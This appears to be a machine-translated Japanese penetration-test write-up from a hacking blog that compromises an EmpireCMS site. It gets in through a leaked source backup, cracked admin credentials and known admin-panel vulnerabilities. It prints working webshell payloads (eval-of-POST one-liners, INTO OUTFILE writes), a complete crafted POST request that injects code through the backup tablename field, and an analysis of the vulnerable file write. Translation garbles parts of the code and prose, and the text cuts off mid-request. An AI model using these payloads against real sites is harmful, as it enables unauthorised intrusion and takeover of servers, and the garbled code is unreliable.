Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863104301

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00はじめに

記事に記載されている脆弱性は脆弱性プラットフォームに提出されており、すべての悪意のある操作が復元されました

0x01ソースコードリーク

http://www.xxx.com.cn/www.zip古いルールは、ソースコードを取得し、最初にキーワードを渡して機密情報を見つけることです。

PWD

passwd

長い間パスワードを見つけた後、有効なパスワードが見つかりませんでした

最後に、robots.txtのCMSに関する情報を参照してください-Empirecms

1049983-20220119231046548-1786288951.png

クエリ後、オープンソースCMSであることがわかり、Baiduのデータテーブル構造を直接照会できます。

1049983-20220119231047077-1497293271.png

管理者のレコードテーブルはphome_enewsuserであることを知っています。ソースコードでグローバルに検索

0x02敏感な情報漏れ

1049983-20220119231047623-361966249.png

クリックして、管理者のユーザー名、パスワードハッシュ、ソルト値を取得します

1049983-20220119231048331-1213602681.png

MD5を直接解決してパスワードを取得します

1049983-20220119231048790-1787931993.png

Kite/Kiteがパスワードを取得した後、背景アドレスを見つけます。オープンソースであるため、Baiduで利用可能になります。

ディレクトリを見て、背景アドレスを変更しないでください。そうすれば、直接アクセスできます

http://www.xxx.com.cn/e/admin/1049983-20220119231049381-696251220.png

特定のバージョン番号は6.6です

0x04歴史的脆弱性

オープンソースのCMSであるため、バックグラウンドにログインした後、歴史的脆弱性は浸透の鍵です。

脆弱性を直接検索し、歴史的脆弱性の再現を開始します

1.Background-Template-Public Template-JSコールログインテンプレートGETSHELL

開始前に終了しました

1049983-20220119231049901-57051219.png

テーブル 'HDM1010482_DB.PHOME_ENEWSTEMPGROUP'良い男は存在しません、これはテーブルが削除されていますか?

2.バックエンドデータテーブルとシステムモデル-importデータベースモデルGETSHELL

empirecms 7.5および以前のバージョンのe/class/moddofun.phpファイルのloadinmod関数にセキュリティの脆弱性があります。攻撃者はこの脆弱性を使用して、任意のファイルをアップロードできます。

1049983-20220119231050490-362941107.png

新しいtest.php.modファイルをローカルに作成し、

?php file_put_contents( 'lyy.php'、 '?php @eval(\ $ _ post [' lyy ']);');テーブル名に記入して、すぐにインポートを選択します

1049983-20220119231051019-312462932.png

別のテーブルが存在しません、GG

1049983-20220119231051578-1442159641.png

3。バックグラウンドでデータをバックアップして復元する-SQLステートメントGOTSHELLを実行

empirecms7.5および以前のバージョンのadmindbdosql.phpファイルにコードインジェクションの脆弱性があります。

つまり、背景はSQLステートメントの実行を提供します

1049983-20220119231052116-1619252372.png

サーバーMySQL構成SECURE_FILE_PRIVが正しくない限り、サーバーにファイルを書き込むことができます。

PayloadSelect '?php @eval($ _ post [123])?' Outfile 'Absolute Path/e/admin/lyy.php'サイトにファイルを書きたいので、絶対パスを知る必要があります。

エコーの実行ではないため、ショーMySQL変数を通じてパスの一部を取得できないため、渡されます

「%datadir%」のような変数を表示します。

4。データをバックアップして復元 - バックアップデータGESSHELL

empirecmsデータベースがバックグラウンドにバックアップされている場合、データベーステーブル名は確認されませんでした。データベーステーブル名を変更することにより、コードの実行を達成できます。

1049983-20220119231052753-336611202.png

任意のテーブルを選択して、バックアップとつかみを開始します

1049983-20220119231053338-13579386.png

TableNameフィールドをペイロードに変更します

@eval($ _ post [123])リクエストパッケージ

post/e/admin/ebak/phome.php http/1.1

host: www.xxx.com.cn

Content-Length: 285

Cache-Control: Max-age=0

アップグレード-Insecure-Requests: 1

Origin: http://www.xxx.com.cn

Content-Type:アプリケーション/x-www-form-urlencoded

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/89.0.4389.90 safari/537.36

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=b3; q=0.9

Referer: http://www.xxx.com.cn/e/admin/ebak/changetable.php?mydbname=hdm1010482_db

Accept-Encoding: gzip、deflate

Accept-Language: ZH-CN、ZH; Q=0.9

cookie: bxubwecmsdodbdata=empirectms; bxubwloginuserid=1; bxubwloginusername=kite; bxubwloginlevel=1; bxubweloginlic=empirectmslic; bxubwloginadminstyleid=1; bxubwloginrnd=f3jiuxpyexm6mwptsdug; bxubwlogincmsckpass=e816ccfcb01f4ed8ee0ad531de6fa67c; bxubwtruelogintime=1640762619; bxubwlogintime=1640762630

Connection:閉じます

phome=doebakmydbname=hdm1010482_dbbaktype=phpinfo()filesize=300bakline=500autoauf=1bakstru=1dbchar=gbkbakdatatype=1mypath=hdm1010482_d B_20211229152350INSERTF=fallingWaitBaktime=0Readme=autofield=tableName%5b%5d=@eval($ _ post [123])chkall=onsubmit=bf%aa%ca%bc%b1%b8%b8%b7%ddバックアップフォルダー名を取得するためのエコー

1049983-20220119231054086-2062418453.png

hdm1010482_db_20211229152350webshell connection config.php下のバックアップフォルダー

http://www.xxx.cn/e/admin/ebak/bdata/hdm1010482_db_20211229152350/config.php getShell

1049983-20220119231054704-177478623.png

原理分析

ソースコードを手に持っているので、この抜け穴に従いました

まず、config.phpを直接検索して見つけます

1049983-20220119231055363-1660910506.png

e/admin/ebak/class/functions.phpファイルのebak_doebakでのファイル書き込み操作

1049983-20220119231055918-473218692.png

$ string='?php

\ $ b_table=\ ''。$ b_table。 '\';

'。$ d_table。'

\ $ b_baktype='。$ add [' baktype ']。';

\ $ b_filesize='。$ add [' filesize ']。';

\ $ b_bakline='。$ add [' bakline ']。';

\ $ b_autoauf='。$ add [' autoauf ']。';

\ $ b_dbname=\ ''。$ dbname。 '\';

\ $ b_stru='。$ bakstru。';

\ $ b_strufour='。$ bakstrufour。';

\ $ B_DBCHAR=\ ''。AddSlashes($ add ['dbchar'])。 '\';

\ $ b_beover='。$ beover。';

\ $ b_insertf=\ ''。addslashes($ insertf)。 '\';

\ $ b_autofield=\ '、'。addslashes($ add ['autofield'])。 '、\';

\ $ B_BAKDATATYPE='。$ BAKDATATYPE。';

? ';

$ cfile=$ bakpath。 '/'。$ add ['mypath']。 '/config.php';

writefiletext_n($ cfile、$ string);

$ d_table変数が直接スプライスされていることがわかります

writefiletext_nの書き込みを見てみましょう

1049983-20220119231056503-1658920274.png

書き込みコンテンツのフィルタリングはないので、$ d_table変数の値を制御する方法を知る必要があります

CRTL+左ボタンは上に続きます

1049983-20220119231056974-1185623944.png

$ countは$ tablenameの数、$ tablenameは$ addのtablenameの重要な値です

1049983-20220119231057466-1160161414.png

ebak_doebak関数が呼び出される場所を見つけ、$ addが$ _postであることを知っています

1049983-20220119231057961-365417953.png

彼がpostパラメーターのタブネームを処理し、2つの変数を生成したことは明らかです

$ b_tableと$ d_table、$ b_tableは二重引用符で包まれていて、使用できません

ただし、$ d_tableは二重引用符なしでラップされ、任意のフィルタリングなしで.phpファイルに直接書き込まれ、コマンドの実行が行われます

なぜ別のパラメーターではないのですか?

他のほとんどのパラメーターは、二重引用符で包まれています

二重引用符で包まれていないパラメーターはintを強制されます。STRが渡された場合、0が返されるため、合格します。

1049983-20220119231058417-1434863408.png

1049983-20220119231058936-414106818.png

1049983-20220119231059359-1015131941.png

3のフォローアップ

脆弱性4を介してサイトの実際のパスを取得した後、SQLステートメントを作成し、サイトに直接WebShellを作成しようとしました。

'?php phpinfo();'を選択しますoutfile '/data/home/hmu072095/htdocs/e/admin/lyy.php'データベース接続エラーは爆発しましたが、ステートメントは正常に実行されましたが、書かれたコンテンツは空に置き換えられました

1049983-20220119231059860-799225780.png

正常にアクセスできますが、コンテンツなしでアクセスできます

1049983-20220119231100350-353625442.png

通常の文字を書くことができます

outfileに「テスト」を選択します/data/home/hmu072095/htdocs/e/admin/1.txt '1049983-20220119231100840-188886051.png

予備的な判断は、PHPタグがフィルタリングされ、他の書き込み方法がそれをバイパスするために試されたことです。

1.選択'? phpinfo();」 Into Outfile '/data/home/hmu072095/htdocs/e/admin/ly.php'

2. 'スクリプト言語=' php 'phpinfo()を選択する; /script 'into outfile'/data/home/hmu072095/htdocs/e/admin/ly.php '

3. '?php @eval($ _ post [1])?' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php'最後のASPスタイルのみが正常に書かれています

1049983-20220119231101266-359754484.png

アクセスしようとすることは実行できません。 LinuxでデフォルトのPHPショートタグ構成アイテムを確認すると、なくなりました。

要約

1。ターゲットサイトは、Yujian Directory Scanningツールを介してスキャンされました。ウェブサイトのバックアップファイルwww.zipが漏れており、ソースコード分析がローカルにダウンロードされたことがわかりました。

2。phpstormを介してソースコードをロードし、キーワードキー、PWD、パスワード、PassWDを検索し、関連するパスワードは見つかりませんでした。 robots.txtを介して、それがempirecmsであることがわかりました

3. Baiduを介してEmpirecmsのデータテーブル構造を検索すると、Phome_Enewsuserが管理者レコードテーブルであることがわかりました。 Phome_Enewsuserキーワードのグローバルバッチ検索により、ソースコードのWebサイト管理者のユーザー名とパスワードがリークされたことがわかりました。プレーンテキストは、MD5の復号化によって取得されました。

4.デフォルトの背景パス/管理者を入力して、背景ログインページを表示し、取得したユーザー名とパスワードを入力してバックグラウンドにログインします。

5.ウェブサイトで文を書く準備をしてください。テーブルが存在せず、シェルを書くことができないことがわかりました。

6. Webサイトで、Webサイトでは、バックグラウンドシステムテーブルとシステムテンプレートマネージデータテーブル-Importシステムテンプレート、テンプレートファイル名:test.php.mod、および保存されたデータテーブル名はphome_ecm_111です。インポートした後、テーブルは存在せず、シェルに書き込むことができないことがわかります。

test.php.mod:

?php file_put_contents( 'lyy.php'、 '?php @eval(\ $ _ post [' lyy ']);');

7. Webサイトでは、データを実行してSQLステートメントを実行して復元し、文章を書きます。前提条件には次のことが必要です。MySQL設定Secure_File_Privは不適切であり、Webサイトの絶対パスとEmpirecms=7.5のバージョンを知る必要があります。ここでは、ウェブサイトの絶対的なパスを取得することはできず、シェルを書くことはできません。

「%datadir%」のような変数を表示します。 //ウェブサイトの絶対パスを表示します

'?php @eval($ _ post [123])?'を選択しますOutfile 'Absolute Path/e/admin/lyy.php' //文を書きます

8。empirecmsバージョン7.5および以前のバージョンがバックグラウンドでデータベースをバックアップする場合、データベーステーブル名は検証されていません。コード実行は、データベーステーブル名を変更することで実現できます。次に、Webサイトのバックグラウンド-System -Backup and Recistore Data-データの復元- 任意のテーブルを選択して、バックアップとパケットキャプチャインターセプトを開始します。バックアップディレクトリに注意してください。ディレクトリが存在しない場合、システムは自動的にディレクトリ名を生成します。パケットをキャッチしてインターセプトし、それらを変更し、リクエストを送信します。

post/e/admin/ebak/phome.php http/1.1

host: www.xxx.com.cn

Content-Length: 285

Cache-Control: Max-age=0

アップグレード-Insecure-Requests: 1

Origin: http://www.xxx.com.cn

Content-Type:アプリケーション/x-www-form-urlen